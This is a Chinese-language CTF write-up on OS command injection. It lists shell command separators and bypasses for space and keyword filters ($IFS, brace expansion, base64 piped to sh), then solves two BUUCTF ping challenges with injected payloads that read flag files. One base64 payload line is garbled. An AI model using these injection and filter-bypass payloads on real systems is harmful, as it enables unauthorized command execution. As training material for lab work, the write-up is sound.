命令执行

命令执行

windows下连接两条命令

| 直接执行后面的语句,如ping
www.baidu.com|whoami

|| 如果前面的语句执行出错,则执行后面的。如ping
2||whoami

& 前面的语句可真可假。如ping
2&whoami

&& 前面的语句为真时,才执行后面的语句。如ping
www.baidu.com && whoami

Linux下连接两条命令

| 管道符,直接执行后面的语句,如ping
-c 4 127.0.0.1 | whoami

|| 如果前面的语句执行出错,则执行后面的。如ping
-c 4 2 || whoami

; 执行完前面的,直接执行后面的;如ping
-c 4 127.0.0.1; whoami

&& 前面的语句为真时,才执行后面的语句。如ping
-c 4 127.0.0.1 && whoami

例题

buuctf: [ACTF2020 新生赛]Exec

image.png

image.png

输入123| ls,查看一下当前目录下的文件。

image.png

只有一个index.php文件,我们再查看一下根目录下的文件。

123 | ls /

image.png

利用cat命令查看flag中的内容。

123 | cat /flag

image.png

空格绕过

cat$IFS$1flag  //$1改成$加其他数字貌似都行
{cat,flag}
cat<flag
cat<>flag
${IFS}
%20 
%09 

字符绕过

变量拼接

image.png

反引号

image.png

反斜杠

image.png

引号

image.png

编码绕过

base64编码cat flag

image.png

例题

buuctf: [GXYCTF2019]PingPing Ping

image.png

image.png

这个题目的标题是pingping盲猜是关于命令执行的题目.

给ip参数传参:/?ip=127.0.0.1;ls

image.png

发现同级目录下的两个文件,我们输入?ip=127.0.0.1;cat flag.php.

image.png

并未执行成功,猜测可能是把空格过滤掉了。我们替换空格。(例如:$IFS$1 )

image.png

发现仍未执行成功,可能将flag字符过滤掉了,但具体怎样过滤的我们还不确定,我们转换思路,查看index.php的内容。

image.png

成功查看到index的内容。

这段代码是一个PHP脚本,看起来是一个简单的IP地址的ping测试。让我逐行解释其含义:
/?ip=
这行代码是一个URL路径,表示在根目录下的ip参数。也就是说,该脚本期望通过GET请求将IP地址作为参数传递给它。

|\'|\"|\\|\(|\)|\[|\]|\{|\}/", $ip, $match)
这行代码使用正则表达式检查IP地址参数是否包含一些特殊字符。如果匹配到这些特殊字符,将会执行下面的代码块。
echo preg_match("/\&|\/|\?|\*|\<|[\x{00}-\x{20}]|\>|\'|\"|\\|\(|\)|\[|\]|\{|\}/", $ip, $match);
die("fxck your symbol!");

这段代码使用正则表达式检查IP地址参数中是否包含一些特殊符号,如&、/、?、*、<等。如果匹配到这些符号,将输出”fxck your symbol!”并终止脚本执行。

else if(preg_match("/ /", $ip)){
    die("fxck your space!");
}

这段代码检查IP地址参数是否包含空格。如果包含空格,将输出”fxck your space!”并终止脚本执行。

else if(preg_match("/bash/", $ip)){
    die("fxck your bash!");
}

这段代码检查IP地址参数是否包含”bash”字符串。如果包含,将输出”fxck your bash!”并终止脚本执行。

else if(preg_match("/.*f.*l.*a.*g.*/", $ip)){
    die("fxck your flag!");
}

这段代码使用正则表达式检查IP地址参数是否包含”f”, “l”, “a”, “g”字符序列(无论字符之间是否有其他字符)。如果匹配到这个字符序列,将输出”fxck your flag!”并终止脚本执行。

$a = shell_exec("ping -c 4 ".$ip);
echo "
";
print_r($a);

这段代码使用shell_exec函数执行一个ping命令,向指定的IP地址发送4个回声请求。然后将ping命令的输出打印出来。`

总结来说,这段代码对传入的IP地址参数进行了一系列的检查,包括特殊字符、空格、”bash”字符串和特定字符序列。如果检查失败,将输出相应的错误信息并终止脚本执行。如果检查通过,将执行ping命令并打印其输出。

base64编码绕过:http://e7d31689-f496-4351-93df-bced5d941928.node4.buuoj.cn:81/?ip=127.0.0.1;echo1Y2F0IGZsYWcucGhw|base641-d|sh$IFS$$IFS$

我们可以利用变量拼接字符绕过,以达到执行cat flag.php的目的。

image.png

查看源代码:

image.png

得到flag。

经验:

多次尝试不同方式的字符绕过,以及连接符(比如:|或;或者&&)。